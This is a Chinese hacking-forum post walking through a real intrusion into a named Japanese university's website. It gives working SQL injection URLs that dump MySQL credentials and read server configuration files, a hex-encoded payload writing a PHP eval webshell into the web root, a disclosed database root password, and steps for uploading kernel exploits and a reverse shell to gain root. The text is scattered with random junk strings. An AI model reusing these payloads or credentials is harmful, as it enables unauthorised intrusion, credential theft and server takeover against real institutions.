找回密码
 立即注册
查看: 3419|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
  @  O8 z7 i3 W" m+ _- N, n' A0 @6 C2 ^) z" H4 J* Z2 k
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
2 M) L6 J' k+ W6 L# X然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:) z& q" L; n' z* T5 p4 N5 Q: a) J

% C% B: u- b- W+ Thttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
# g7 ~7 n" P# s/ t- h  A
+ C, Z* i' Z- @3 A' x" X, J! \
0 b# y9 F+ T7 B1 D( R" C( q" u! A2 p0 i
//@@datadir为数据库文件路径
" w. k1 s5 G- L- j2 ^0 {! U5 @5 p
; l5 ]; R: R9 {+ X. C; t+ K0 |! H6 K/ f& m8 I) ?# X
//load_file读取网站容器apache的配置文件
) Q& ^8 ^, a2 g
5 U; f: z- D- q8 e7 L7 C
% I- H4 ?6 B. d' ?+ A7 ]//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
6 ?: _" j+ n8 I8 u% k$ X) I复制代码1 Z9 m2 f7 X* ~6 ~4 h

$ F2 ]0 Q& `9 _- U虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。5 X9 N: `( E) a$ g

. I- F' O: S8 V而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
; r/ c" L, j$ o  W4 V; j/ L3 F(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
, @, \$ C" K- {6 S1 c& T0 r' Y) |1 `1 n% R6 k
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
2 z8 r5 K/ u) I: e0 r. I如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
* p) l) S" F* B/ h9 D0 n. I( a1 t6 {& M! k- ~) Y, Y& p* Z
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
2 \- b  {: k- U虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
- S: E, `5 \( n, l; A) u直接写一句话:% `: D0 W; k: L$ `
' d  V  b" P. C: e
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
# Q% s5 `5 m( \) v$ ~. x% M0 |/ T( ]4 K# G; Q$ z- W& C1 q9 H
: S$ N; r3 W9 W1 d$ O/ _7 U6 k( }
" r+ r' x  r& E/ c+ U' Z
//最后的#是为了闭合前面的语句
9 `+ T2 r% ]7 ?/ x; h" T; A, I - ?2 |+ @; d) i/ v
* O. F8 K: E; L% G$ `
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E ( r+ \0 w9 O% X; y

( s2 |3 r6 |4 {, L3 W: z1 W# ^5 y
+ A7 }, |+ @1 @+ B6 Z为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ , i, \8 Q2 T! t% f
$ L; @+ _  G# i* t$ r; y
6 i; R" X. L5 _
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 ! V! t4 D( B, W( i: s  U
' m2 }: X0 B; C4 a

9 M) g7 @& m7 K  G8 v' \//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
& C, r9 C) B3 R; A2 z; g! x9 S//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” % M0 L" G3 V1 x2 z7 J4 z
复制代码0 u. d' w! v1 r

$ |5 b, @0 ]" X0 m1 OHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
6 t" E  E1 M; {" N* h/ f通过上述注入语句,我们就得到了一句话木马:
# Z( u) l4 f* t
! |  \0 V* _" X0 d8 M! C3 d , `; M9 X' o' I& p% Q# t" w' s

- [$ V5 T- l+ ^) \. ? 7 P* H9 f+ O! C+ s- k( s* M

" `5 ]5 d; a0 f' W' }http://www.doshisha.ac.jp/english/engnews_img/aa.php
( P% W2 W$ s5 h6 o: G复制代码
) u4 c  n" V) B- x5 x7 B- v' g) [, H/ O2 ~
用菜刀连接,密码是cmd,如图所示:
' |  h3 i& U/ B. n7 L' b然后在命令提示行里看了一下,现在的权限是:$ [8 A% a7 z1 d

" v1 m% D# P' Q9 i之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。5 R0 G9 q( Y0 V7 |( r. ^
好在赋权给这个文件夹不需要root,直接执行赋权语句:4 }# _' S. J" ^5 i3 p

% B' n# B! O! c" V. ~, | " S; t: \+ ]& ?: B3 G: H. L5 C$ Z9 R) q
% f5 a5 I# {$ }8 Q8 S: e

! ?0 R" \$ J8 p2 x1 Q
) v! L, i6 k% S1 D$ _  pchmod +x /tmp/ ! N$ f/ B/ E! O( C0 i
复制代码
5 H# @9 H7 v7 f9 \  M' c1 N) N* T% {0 p% ?: v7 [- C. `
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
% r) [5 K0 Z* u) V2 ~2 B4 h8 x. J+ D然后就查了一下内核版本:3 o+ Z& V; w6 Z1 P6 i" M

5 P0 l. w6 _" S3 H: k* |( o
( r3 K1 I, j& D
/ c# {, n1 U, I7 S/ R# I3 e, a/ Y. i ( o+ ^6 T; Y3 R( U7 g% |; L1 T- T
# \' A7 Q# l+ g% n
uname-a
- m" w) V$ W8 V. E
0 ~. Z" [" h7 p% U: z- F2 U6 H7 Z3 }' w7 I
//其实lsb_release -a
% N5 c/ G6 d5 X7 A$ I复制代码
, A$ T2 j# |6 W$ g7 N* u$ o
8 a" s- U! f$ O如图所示:
/ y( \5 f7 f, x  r4 K. H; {; G% N; M1 O6 H
内核版本:linux mainz1 2.6.28-194.e151 _2 l' n0 ]2 G$ Z- }' R
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
/ U8 v# n; Z: }. c: V- G查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
4 C3 U3 X# q+ z5 Y* Z8 @% S8 q: I: O. ?9 V( a
然后给予执行权限
7 d, f+ A+ K/ F* A( q1 \0 {; a一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样; x  J# _, g$ O% M7 r9 L& G8 N

3 q+ v" L, y2 H
4 X) m5 x* E" ?- ~  W0 ^+ P* \; Y, \
, L3 L' i# Q  y6 @7 j/ G# T' t

( N, V: y+ e& v0 n. ~$ e* achmod +x /tmp/2.6.18-194
" |6 A+ w+ r1 X; b+ ]复制代码 然后直接执行!~8 F7 `- F; X6 M6 O% M9 C' z7 H

7 Z7 N7 @: Z% O9 c1 v总结:) e- A8 {* S3 j, N" i4 W$ L
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了8 U. l! l6 m, v( O# r% q
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root0 I" W5 W1 L/ @8 t! g1 _
1 q. K7 m. T2 z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表